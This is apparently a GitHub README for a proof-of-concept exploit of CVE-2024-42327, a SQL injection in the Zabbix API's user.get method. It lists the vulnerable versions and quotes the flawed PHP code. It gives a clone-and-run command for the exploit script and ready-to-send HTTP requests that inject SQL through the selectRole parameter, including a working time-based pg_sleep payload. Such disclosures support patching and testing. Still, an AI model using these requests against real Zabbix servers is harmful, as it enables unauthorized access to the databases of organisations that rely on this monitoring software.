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CVE-2024-42327 PoC — Zabbix SQL注入漏洞

Source
Associated Vulnerability
Title:Zabbix SQL注入漏洞 (CVE-2024-42327)
Description:Zabbix是Zabbix公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 6.0.0至6.0.31版本、6.4.0至6.4.16版本和7.0.0版本存在SQL注入漏洞,该漏洞源于CUser类的addRelatedObjects函数中存在SQL注入漏洞,允许攻击者操纵数据库查询。
Readme
# PoC and Exploit for CVE-2024-42327 / ZBX-25623

A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.

![изображение](https://github.com/user-attachments/assets/258d2688-cf1d-453f-8ef2-64761f4e122e)

**Vulnerable versions:** 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0

Fixed versions: 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1

# Vulnerable code

```PHP
$db_roles = DBselect(
	'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
	' FROM users u,role r'.
	' WHERE u.roleid=r.roleid'.
	' AND '.dbConditionInt('u.userid', $userIds)
);
```

Exploit use:
```bash
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
```

Request:
```http
POST /api_jsonrpc.php  HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json

{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
```

BurpSuite PoC (Time Based SQLi)

```sql
SELECT pg_sleep(10)) AS DELAY
```

```http
POST /api_jsonrpc.php  HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json

{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
```
## Proof

![изображение](https://github.com/user-attachments/assets/3b0cae9f-8147-4e9d-a4fe-d50a090cceb6)

## References
- https://support.zabbix.com/browse/ZBX-25623
- https://nvd.nist.gov/vuln/detail/CVE-2024-42327
File Snapshot

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